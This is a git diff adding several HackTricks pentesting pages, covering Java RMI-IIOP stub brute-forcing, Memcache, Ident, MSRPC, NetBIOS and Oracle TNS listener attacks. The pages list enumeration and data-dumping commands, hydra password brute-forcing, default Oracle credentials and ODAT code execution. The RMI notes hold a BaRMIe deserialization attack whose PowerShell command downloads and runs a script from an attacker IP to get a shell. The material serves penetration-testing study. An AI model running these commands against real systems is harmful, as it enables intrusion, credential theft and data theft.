+Because this method only uses primitive parameter types, the compiled stub has no type safety. The server will perform two 8-byte reads and interpret the bytes as long integers. **For brute-forcing, the lack of type safety makes it impossible to know if we guessed the correct types**. Furthermore, any additional input from the client is disregarded, thus preventing safe identification via an error for too many supplied parameters:
+
+```java
+if (paramString.equals("add"))
+{
+ int m = localInputStream.read_long();
+ i2 = localInputStream.read_long();
+ int i3 = localCorbaImpl.add(m, i2);
+ localObject9 = paramResponseHandler.createReply();
+ ((org.omg.CORBA.portable.OutputStream)localObject9).write_long(i3);
+ return (org.omg.CORBA.portable.OutputStream)localObject9;
+}
+```
+
+Now, let’s look at the **overloaded `sayTest19` methods**. Here, the CORBA stub compiler **appends the signature with information about the types to differentiate between the overloaded method names**. Some naming schemes are more intuitive than others. In this case, we are provided type safety by the signature itself:
+
+```java
+if (paramString.equals("sayTest19__long"))
+{
+ int n = localInputStream.read_long();
+ localObject6 = localCorbaImpl.sayTest19(n);
+ localObject8 = (org.omg.CORBA_2_3.portable.OutputStream)paramResponseHandler.createReply();
+ ((org.omg.CORBA_2_3.portable.OutputStream)localObject8).write_value((Serializable)localObject6, String.class);
+ return (org.omg.CORBA.portable.OutputStream)localObject8;
+}
+if (paramString.equals("sayTest19__java_util_List__java_util_List"))
+{
+ localObject3 = (List)localInputStream.read_value(List.class);
+ localObject6 = (List)localInputStream.read_value(List.class);
+ localObject8 = localCorbaImpl.sayTest19((List)localObject3, (List)localObject6);
+ localObject9 = (org.omg.CORBA_2_3.portable.OutputStream)paramResponseHandler.createReply();
+ ((org.omg.CORBA_2_3.portable.OutputStream)localObject9).write_value((Serializable)localObject8, String.class);
+ return (org.omg.CORBA.portable.OutputStream)localObject9;
+}
+if (paramString.equals("sayTest19__org_omg_boxedRMI_java_util_seq1_List__long"))
+{
+ localObject2 = (List[])localInputStream.read_value(new List[0].getClass());
+ i2 = localInputStream.read_long();
+ localObject7 = localCorbaImpl.sayTest19((List[])localObject2, i2);
+ localObject9 = (org.omg.CORBA_2_3.portable.OutputStream)paramResponseHandler.createReply();
+ ((org.omg.CORBA_2_3.portable.OutputStream)localObject9).write_value((Serializable)localObject7, String.class);
+ return (org.omg.CORBA.portable.OutputStream)localObject9;
+}
+```
+
+And for **`sayTest20(String)`**, we again have a **unique method nam**e, but here we are **deserializing** a **`String`** class. In this case, the complex parameter allows us to **force a `ClassCastException` to allow identification without invocation**.
+
+```javascript
+if (paramString.equals("sayTest20"))
+{
+ localObject1 = (String)localInputStream.read_value(String.class);
+ localObject4 = localCorbaImpl.sayTest20((String)localObject1);
+ localObject7 = paramResponseHandler.createReply();
+ Util.writeAny((org.omg.CORBA.portable.OutputStream)localObject7, localObject4);
+ return (org.omg.CORBA.portable.OutputStream)localObject7;
+}
+```
+
+So, what does this mean for safely brute-forcing RMI-IIOP stubs? Overall, it’s a significantly smaller keyspace; **most of the time we will only need to get the name of the method correct**. That said, we will likely **accidentally invoke methods that only use primitives**, and we won’t always know the true method signature.
+
+### RMI-IIOP Brute-forcing Limitations
+
+**1. We can't identify methods solely using primitive typed parameters without invoking the method**
+
+This is because there is no concept of type checking in the generated stubs, any values sent along will be deserialized and cast to the expected primitive \(as seen in the `add(int, int)` example above\). **Unlike RMI-JRMP, primitives are not up-cast to an `Object`-derived type, upcasting throws a `ClassCastException` instead of execution.**
+
+**2. We can't identify the maximum number or types of parameters**
+
+If a method is **not overloaded**, we will only have an **exception if there is a `ClassCastException` when deserializing a parameter or an unexpected `EOFException` because of insufficient parameters**. Extra parameters in the input stream will just be ignored.
+
+**3. We can't identify the return types**
+
+**Return types are not included** in any part of the signature matching, so there’s no guaranteed way to identify the return type. If it’s an `Object`-derived type, we may get a local `ClassCastException` if RMIScout attempts to deserialize an incorrect typed response \(invoke mode\), but for primitives, we won’t know.
+
+**4. We have to send two requests for every check**
+
+**RMIScout needs to test both possible signature formats** because the overloaded methods use a distinct alternative format.
+
+**5. We need to use JRE8 to successfully use RMIScout's RMI-IIOP functionality**
+
+JRE9 stripped out RMI-IIOP functionality, so to run these tests and take advantage of existing standard library code, **we need to use JRE8**.
+
+**Overall, there is a risk of accidental invocation in brute-forcing these signatures**. As such, RMIScout displays a warning prior to running IIOP brute-forcing. However, it is also significantly easier to enumerate signatures for IIOP. Using **custom wordlists with method names least likely to cause harm is recommended** \(e.g., a method name like `deleteRecord` may match against `deleteRecord(int)` whereas `evaluateString` is less likely to match a primitive\).
+
+We can still achieve arbitrary Java deserialization by replacing object or array types in a method signature. **Unlike RMI-JRMP, `String` types can still be exploited in RMI-IIOP servers compiled with the latest build of the JDK8.**
+
+## Shodan
+
+* `port:1099 java`
+
+## HackTricks Automatic Commands
+
+```text
+Protocol_Name: Java-RMI    #Protocol Abbreviation if there is one.
+Port_Number:  1098     #Comma separated if there is more than one.
+Protocol_Description: Java Remote Method Inclusion         #Protocol Abbreviation Spelled out
+
+Entry_1:
+  Name: Notes
+  Description: Notes for Java-RMI
+  Note: |
+    The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a remote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
+
+    nmap -sC -sV -Pn 10.11.1.73 -p 1100 
+        may dump the reg of the java-rmi instance. If this is the case the machine may be vulnerable to a deserializaion exploit.
+        BaRMIe.jar is the way to go to directly exploit this vulnerability.
+        https://github.com/NickstaDB/BaRMIe/releases/tag/v1.01      is where the latest build is hosted, pre-built
+
+    useage
+        java -jar BaRMIe_v1.01.jar -attack 10.11.1.73 1100
+        target select)          1
+        available attacks)    1 (illegal bind deserialization)
+        payloads)                1 (Apache Common Collections 3.1 worked for me, others may also work)
+        OS Command)         powershell.exe -command "IEX(new-object net.webclient).downloadstring('http://192.168.119.167:80/3232.ps1')"
+
+        enjoy your system shell!
+
+    https://book.hacktricks.xyz/pentesting/1099-pentesting-java-rmi
+
+Entry_2:
+  Name: Nmap RMI
+  Description: Nmap with RMI Scripts
+  Command: nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p 1098 {IP}
+
+Entry_3:
+  Name: Nmap register
+  Description: Dump register of java-rmi instance
+  Command: nmap -sC -sV -Pn {IP} -p 1100
+```
+
diff --git a/pentesting/11211-memcache.md b/pentesting/11211-memcache.md
new file mode 100644
index 00000000000..5649d0f0423
--- /dev/null
+++ b/pentesting/11211-memcache.md
@@ -0,0 +1,61 @@
+# 11211 - Pentesting Memcache
+
+## Protocol Information
+
+**Memcached** \(pronunciation: mem-cashed, mem-cash-dee\) is a general-purpose distributed [memory caching](https://en.wikipedia.org/wiki/Memory_caching) system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source \(such as a database or API\) must be read. \(From [wikipedia](https://en.wikipedia.org/wiki/Memcached)\)  
+Although Memcached supports SASL, most instances are **exposed without authentication**.
+
+**Default port:** 11211
+
+```text
+PORT      STATE SERVICE
+11211/tcp open  unknown
+```
+
+## Enumeration
+
+### Manual
+
+To ex-filtrate all the information saved inside a memcache instance you need to:
+
+1. Find **slabs** with **active items**
+2. Get the **key names** of the slabs detected before
+3. Ex-filtrate the **saved data** by **getting the key names**
+
+Remember that this service is just a **cache**, so **data may be appearing and  disappearing**.
+
+```bash
+echo "version" | nc -vn -w 1 <IP> 11211      #Get version
+echo "stats" | nc -vn -w 1 <IP> 11211        #Get status
+echo "stats slabs" | nc -vn -w 1 <IP> 11211  #Get slabs
+echo "stats items" | nc -vn -w 1 <IP> 11211  #Get items of slabs with info
+echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211  #Get key names (the 0 is for unlimited output size)
+echo "get <item_name>" | nc -vn -w 1 <IP> 11211  #Get saved info
+
+#This php will just dump the keys, you need to use "get <item_name> later"
+sudo apt-get install php-memcached
+php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
+```
+
+### Manual2
+
+```bash
+sudo apt install libmemcached-tools
+memcstat --servers=127.0.0.1 #Get stats
+memcdump --servers=127.0.0.1 #Get all items
+memccat  --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
+```
+
+### Automatic
+
+```bash
+nmap -n -sV --script memcached-info -p 11211 <IP>   #Just gather info
+msf > use auxiliary/gather/memcached_extractor      #Extracts saved data
+msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible 
+```
+
+### **Shodan**
+
+* `port:11211 "STAT pid"`
+* `"STAT pid"`
+
diff --git a/pentesting/113-pentesting-ident.md b/pentesting/113-pentesting-ident.md
new file mode 100644
index 00000000000..ad37f94663c
--- /dev/null
+++ b/pentesting/113-pentesting-ident.md
@@ -0,0 +1,91 @@
+# 113 - Pentesting Ident
+
+## Basic Information
+
+Is an [Internet](https://en.wikipedia.org/wiki/Internet) [protocol](https://en.wikipedia.org/wiki/Protocol_%28computing%29) that helps identify the user of a particular [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) connection.
+
+**Default port:** 113
+
+```text
+PORT    STATE SERVICE
+113/tcp open  ident
+```
+
+## **Enumeration**
+
+### **Manual - Get user/Identify the service**
+
+If a machine is running the service ident and samba \(445\) and you are connected to samba using the port 43218. You can get which user is running the samba service by doing:
+
+![](../.gitbook/assets/image%20%2877%29.png)
+
+If you just press enter when you conenct to the service:
+
+![](../.gitbook/assets/image%20%28176%29.png)
+
+Other errors:
+
+![](../.gitbook/assets/image%20%28268%29.png)
+
+### Nmap
+
+By default \(-sC\) nmap will identify every user of every running port:
+
+```text
+PORT    STATE SERVICE     VERSION
+22/tcp  open  ssh         OpenSSH 4.3p2 Debian 9 (protocol 2.0)
+|_auth-owners: root
+| ssh-hostkey: 
+|   1024 88:23:98:0d:9d:8a:20:59:35:b8:14:12:14:d5:d0:44 (DSA)
+|_  2048 6b:5d:04:71:76:78:56:96:56:92:a8:02:30:73:ee:fa (RSA)
+113/tcp open  ident
+|_auth-owners: identd
+139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: LOCAL)
+|_auth-owners: root
+445/tcp open  netbios-ssn Samba smbd 3.0.24 (workgroup: LOCAL)
+|_auth-owners: root
+```
+
+### Ident-user-enum
+
+Ident-user-enum is a simple PERL script to query the ident service \(113/TCP\) in order to determine the owner of the process listening on each TCP port of a target system. The list of usernames gathered can be used for password guessing attacks on other network services. It can be installed with `apt install ident-user-enum`.
+
+```text
+root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
+ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
+
+192.168.1.100:22  root
+192.168.1.100:113 identd
+192.168.1.100:139 root
+192.168.1.100:445 root
+```
+
+### Shodan
+
+* `oident`
+
+## Files
+
+identd.conf
+
+## HackTricks Automatic Commands
+
+```text
+Protocol_Name: Ident    #Protocol Abbreviation if there is one.
+Port_Number:  113     #Comma separated if there is more than one.
+Protocol_Description: Identification Protocol         #Protocol Abbreviation Spelled out
+
+Entry_1:
+  Name: Notes
+  Description: Notes for Ident
+  Note: |
+    Is an Internet protocol that helps identify the user of a particular TCP connection.
+
+    https://book.hacktricks.xyz/pentesting/113-pentesting-ident
+
+Entry_2:
+  Name: Enum Users
+  Description: Enumerate Users
+  Note: apt install ident-user-enum    ident-user-enum {IP} 22 23 139 445 (try all open ports)
+```
+
diff --git a/pentesting/135-pentesting-msrpc.md b/pentesting/135-pentesting-msrpc.md
new file mode 100644
index 00000000000..0960d871674
--- /dev/null
+++ b/pentesting/135-pentesting-msrpc.md
@@ -0,0 +1,91 @@
+# 135, 593 - Pentesting MSRPC
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Basic Information
+
+Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is [a protocol](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. MSRPC was originally derived from open source software but has been developed further and copyrighted by Microsoft.
+
+Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session \(TCP 139 and 445\), and as a web service listening on TCP port 593.
+
+```text
+135/tcp   open     msrpc         Microsoft Windows RPC
+```
+
+## How does MSRPC work?
+
+[The MSRPC process begins on the client side](https://technet.microsoft.com/en-us/library/cc738291.aspx), with the client application calling a local stub procedure instead of code implementing the procedure. The client stub code retrieves the required parameters from the client address space and delivers them to the client runtime library, which then translates the parameters into a standard Network Data Representation format to transmit to the server.
+
+The client stub then calls functions in the RPC client runtime library to send the request and parameters to the server. If the server is located remotely, the runtime library specifies an appropriate transport protocol and engine and passes the RPC to the network stack for transport to the server.  
+From here: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/)
+
+![](../.gitbook/assets/image%20%28165%29.png)
+
+**Image From book "**_**Network Security Assesment 3rd Edition**_**"**
+
+## **Identifying Exposed RPC Services**
+
+**Section extracted from book "**_**Network Security Assesment 3rd Edition**_**"**
+
+You can query the RPC locator service and individual RPC endpoints to catalog interesting services running over TCP, UDP, HTTP, and SMB \(via named pipes\). Each IFID value gathered through this process denotes an RPC service \(e.g., 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc is the Messenger interface\).
+
+Todd Sabin’s rpcdump and ifids Windows utilities query both the RPC locator and specific RPC endpoints to list IFID values. The rpcdump syntax is as follows:
+
+```text
+D:\rpctools> rpcdump [-p port] 192.168.189.1
+IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
+Annotation: Messenger Service
+UUID: 00000000-0000-0000-0000-000000000000
+Binding: ncadg_ip_udp:192.168.189.1[1028]
+```
+
+You can access the RPC locator service by using four protocol sequences:
+
+* ncacn\_ip\_tcp and ncadg\_ip\_udp \(TCP and UDP port 135\)
+* ncacn\_np \(the \pipe\epmapper named pipe via SMB\)
+* ncacn\_http \(RPC over HTTP via TCP port 80, 593, and others\)
+
+```bash
+use auxiliary/scanner/dcerpc/endpoint_mapper
+use auxiliary/scanner/dcerpc/hidden
+use auxiliary/scanner/dcerpc/management
+use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
+rpcdump.py <IP> -p 135
+```
+
+_Note that from the mentioned options all except of **`tcp_dcerpc_auditor`** can **only** be executed against **msrpc** in **port 135**._
+
+#### Notable RPC interfaces
+
+| **IFID value** | **Named pipe** | **Description** |
+| :--- | :--- | :--- |
+| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | LSA interface, used to enumerate users |
+| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | LSA Directory Services \(DS\) interface, used to enumerate domains and trust relationships |
+| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | LSA SAMR interface, used to access public SAM database elements \(e.g., usernames\) and brute-force user passwords regardless of account lockout policy [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
+| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Task scheduler, used to remotely execute commands |
+| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Remote registry service, used to access the system registry |
+| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Service control manager and server services, used to remotely start and stop services and execute commands |
+| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Service control manager and server services, used to remotely start and stop services and execute commands |
+| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | DCOM interface, supporting WMI |
+
+### Identifying IP addresses
+
+Using [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), comes from [Airbus research](https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) is possible to abuse the _**ServerAlive2**_ method inside the _**IOXIDResolver**_ interface.
+
+This method has been used to get interface information as **IPv6** address from the HTB box _APT_. See [here](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) for 0xdf APT writeup, it includes an alternative method using rpcmap.py from [Impacket](https://github.com/SecureAuthCorp/impacket/) with _stringbinding_ \(see above\).
+
+References:
+
+* [https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
+* [https://airbus-cyber-security.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://airbus-cyber-security.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
+
+## Port 593
+
+The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) can interact with this port.
+
diff --git a/pentesting/137-138-139-pentesting-netbios.md b/pentesting/137-138-139-pentesting-netbios.md
new file mode 100644
index 00000000000..11d3ea00695
--- /dev/null
+++ b/pentesting/137-138-139-pentesting-netbios.md
@@ -0,0 +1,82 @@
+# 137,138,139 - Pentesting NetBios
+
+## NetBios Name Service
+
+* Name service for name registration and resolution \(ports: 137/udp and 137/tcp\).
+* Datagram distribution service for connectionless communication \(port: 138/udp\).
+* Session service for connection-oriented communication \(port: 139/tcp\).
+
+### Name Service
+
+Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
+
+To discover the IP address of a Name, a PC has to send a "Name Query" packet and wait if anyone answers. If there is a Name Service server, the PC can ask it for the IP of the name.
+
+```bash
+PORT    STATE SERVICE    VERSION
+137/udp open  netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
+```
+
+Enumerating a NetBIOS service you can obtain the names the server is using and the MAC address of the server.
+
+```bash
+nmblookup -A <IP>
+nbtscan <IP>/30
+sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
+```
+
+### Datagram Distribution Service
+
+NetBIOS datagrams are sent over UDP. A datagram is sent with a "Direct Unique" or "Direct Group" packet if it's being sent to a particular NetBIOS name, or a "Broadcast" packet if it's being sent to all NetBIOS names on the network.
+
+```bash
+PORT    STATE         SERVICE     VERSION
+138/udp open|filtered netbios-dgm
+```
+
+### Session Service
+
+Session mode lets two computers establish a connection for a "conversation", allows larger messages to be handled, and provides error detection and recovery.
+
+Sessions are established by exchanging packets. The computer establishing the session attempts to make a [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) connection to port 139 on the computer with which the session is to be established. If the connection is made, the computer establishing the session then sends over the connection a "Session Request" packet with the NetBIOS names of the application establishing the session and the NetBIOS name to which the session is to be established. The computer with which the session is to be established will respond with a "Positive Session Response" indicating that a session can be established or a "Negative Session Response" indicating that no session can be established \(either because that computer isn't listening for sessions being established to that name or because no resources are available to establish a session to that name\).
+
+Data is transmitted during an established session by Session Message packets.
+
+TCP handles flow control and retransmission of all session service packets, and the dividing of the data stream over which the packets are transmitted into [IP](https://en.wikipedia.org/wiki/Internet_Protocol) datagrams small enough to fit in link-layer packets.
+
+Sessions are closed by closing the TCP connection.
+
+```bash
+PORT      STATE SERVICE      VERSION
+139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
+```
+
+**Read the next page to learn how to enumerate this service:**
+
+{% page-ref page="pentesting-smb.md" %}
+
+## HackTricks Automatic Commands
+
+```text
+Protocol_Name: Netbios    #Protocol Abbreviation if there is one.
+Port_Number:  137,138,139     #Comma separated if there is more than one.
+Protocol_Description: Netbios         #Protocol Abbreviation Spelled out
+
+Entry_1:
+  Name: Notes
+  Description: Notes for NetBios
+  Note: |
+    Name service for name registration and resolution (ports: 137/udp and 137/tcp).
+    Datagram distribution service for connectionless communication (port: 138/udp).
+    Session service for connection-oriented communication (port: 139/tcp).
+
+    Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
+
+    https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
+
+Entry_2:
+  Name: Find Names
+  Description: Three scans to find the names of the server
+  Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
+```
+
diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
new file mode 100644
index 00000000000..c5d9583b8d5
--- /dev/null
+++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
@@ -0,0 +1,297 @@
+# 1521,1522-1529 - Pentesting Oracle TNS Listener
+
+## Basic Information
+
+Oracle database \(Oracle DB\) is a relational database management system \(RDBMS\) from the Oracle Corporation \(from [here](https://www.techopedia.com/definition/8711/oracle-database)\).
+
+When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port \(1521/TCP, -you may also get secondary listeners on 1522–1529-\).
+
+```text
+1521/tcp open  oracle-tns    Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
+1748/tcp open  oracle-tns    Oracle TNS Listener
+```
+
+## Summary
+
+1. **Enumerate version** info \(search for **known vulns**\)
+2. **Bruteforce TNS listener** communication \(not always needed\)
+3. **Enumerate**/Bruteforce **SID names** \(like database names\)
+4. **Bruteforce credentials** for valid SID name discovered
+5. Try to **execute code** 
+
+In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md)
+
+## Enumeration
+
+Tools that can be used for this are: nmap, MSF and [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip).
+
+### TNS listener version
+
+```bash
+nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
+msf> use auxiliary/scanner/oracle/tnslsnr_version
+#apt install tnscmd10g
+tnscmd10g version -p 1521 -h <IP>
+```
+
+Other useful TNS listener commands:
+
+| **Command** | **Purpose** |
+| :--- | :--- |
+| ping | Ping the listener |
+| version | Provide output of the listener version and platform information |
+| status | Return the current status and variables used by the listener |
+| services | Dump service data |
+| debug | Dump debugging information to the listener log |
+| reload | Reload the listener configuration file |
+| save\_config | Write the listener configuration file to a backup location |
+| stop | Invoke listener shutdown |
+
+If you **receive an error**, could be because **TNS versions are incompatible** \(Use the `--10G` parameter with `tnscmd10`\) and if the **error persist,** the listener may be **password protected** \(you can see a list were all the [**errors are detailed here**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)\) — don't worry… hydra to the rescue**:**
+
+```text
+hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
+```
+
+The TNS listener could be vulnerable to **MitM** attacks. [Check here how to check if the server is vulnerable and how to perform the attack \(all versions up to version 12c are\)](tns-poison.md).
+
+### SID enumeration
+
+#### **What is a SID**
+
+The SID \(Service Identifier\) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID.
+
+**In some old versions \(in 9 it works\)** you could ask for the SID and the database send it to you:
+
+```bash
+tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
+
+#msf1
+msf> use auxiliary/scanner/oracle/sid_enum
+msf> set rhost <IP>
+msf> run
+#msf2
+msf> use auxiliary/admin/oracle/tnscmd
+msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
+msf> set rhost <IP>
+msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
+```
+
+If you cant access this way to the SIDs you will need to bruteforce them:
+
+**SID Bruteforce**
+
+I have merged the nmap and MSF sid lists into this one \(without duplicates\):
+
+{% file src="../../.gitbook/assets/sids-oracle.txt" %}
+
+```bash
+hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
+patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
+./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
+msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
+nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
+```
+
+In order to use **oracle\_login** with **patator** you need to **install**:
+
+```text
+pip3 install cx_Oracle --upgrade
+```
+
+## **Targeting Accounts**
+
+**Got SID?** Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials.
+
+**Metasploit** _\*\*scanner/oracle/oracle\_login_ It has a built-in dictionary for the **most popular default values of user account** information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle.
+
+**Nmap** can also help here with the script _oracle-brute_. Note that this script **mixes the logins and passwords**, that is, it tries each login against every password, and it takes quite a while!
+
+### **Default Passwords**
+
+Below are some of the default passwords associated with Oracle:
+
+* **DBSNMP/DBSNMP** — Intelligent Agent uses this to talk to the db server \(its some work to change it\)
+* **SYS/CHANGE\_ON\_INSTALL** — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
+* **PCMS\_SYS/PCMS\_SYS** — Default x account
+* **WMSYS/WMSYS** — Default x account
+* **OUTLN/OUTLN** — Default x account
+* **SCOTT/TIGER** — Default x account
+
+Other **default passwords** can be found [here ](http://www.petefinnigan.com/default/oracle_default_passwords.htm)and [here](https://cirt.net/passwords?vendor=Oracle).
+
+The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to **offline brute force**. [**Read more about this technique here.**](remote-stealth-pass-brute-force.md)
+
+### User/Pass bruteforce
+
+Different tools offered **different user/pass lists** for oracle:
+
+* **oscan:** _/usr/share/oscanner/accounts.default_ \(169 lines\)
+* **MSF-1:**  _from_ admin/oracle/oracle\_login  \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv \(598 lines\)
+* **MSF-2:** _from scanner/oracle/oracle\_login_  _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ \(568 lines\)
+* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ \(687 lines\)
+
+I have **mixed** all of them and **removed duplicates:**
+
+{% file src="../../.gitbook/assets/users-oracle.txt" %}
+
+{% file src="../../.gitbook/assets/pass-oracle.txt" %}
+
+### [Brute Force](../../brute-force.md#oraclesql)
+
+Now, that you **know a valid SID and valid credentials**. To connect to the database you need the tool: _**sqlplus**_ and to install it you need to follow some steps:
+
+[Installation](oracle-pentesting-requirements-installation.md)
+
+To login using known credentials:
+
+```text
+sqlplus <username>/<password>@<ip_address>/<SID>;
+```
+
+If the TNS Listener is on a non-default port \(e.g. TCP/1522\) :
+
+```text
+sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
+```
+
+If an **account has system database priviledges \(sysdba\) or system operator \(sysop\)** you may wish to try the following:
+
+```bash
+sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
+#Example:
+sqplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
+```
+
+## **All in One**
+
+**An interesting tool is oscanner**, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information:
+
+```bash
+#apt install oscanner
+oscanner -s <IP> -P <PORT>
+```
+
+Another tool that will do all of this it [**odat**](https://github.com/quentinhardy/odat):
+
+```bash
+git clone https://github.com/quentinhardy/odat.git
+cd odat
+./odat.py --help #It shouldn't be problems in Kali
+./odat.py all -s <IP> -p <PORT>
+./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
+```
+
+With these options \(_-s_ and _-p_\), ODAT will **search valid SID** \(System ID\) in a first step. You can configure some options for configuring methods \(i.e. word-list or brute-force attack\). By default, ODAT will use a big word list and it will do a small brute-force attack.
+
+If ODAT **founds at least one SID** \(e.g. _ORCL_\), it will **search valid Oracle accounts**. It will do that on **each SID found**. You can specify some options for credentials \(e.g. _--accounts-file_, _--accounts-files_, _--login-as-pwd_\).
+
+For **each valid account** \(e.g. _SYS_\) **on each valid instance** \(SID\), ODAT will return **what each Oracle user can do** \(e.g. reverse shell, read files, become DBA\).
+
+[**Wiki odat**](https://github.com/quentinhardy/odat/wiki)\*\*\*\*
+
+## Remote Code Execution
+
+There are at least two different ways to execute commands, such as by using Java procedures and DBMS\_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: [ODAT](https://github.com/quentinhardy/odat).
+
+### Install ODAT
+
+```bash
+git clone https://github.com/quentinhardy/odat.git
+cd odat
+./odat.py #It shouldn't be problems in Kali
+```
+
+### Execute Code via Java Stored Procedure
+
+```bash
+./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
+```
+
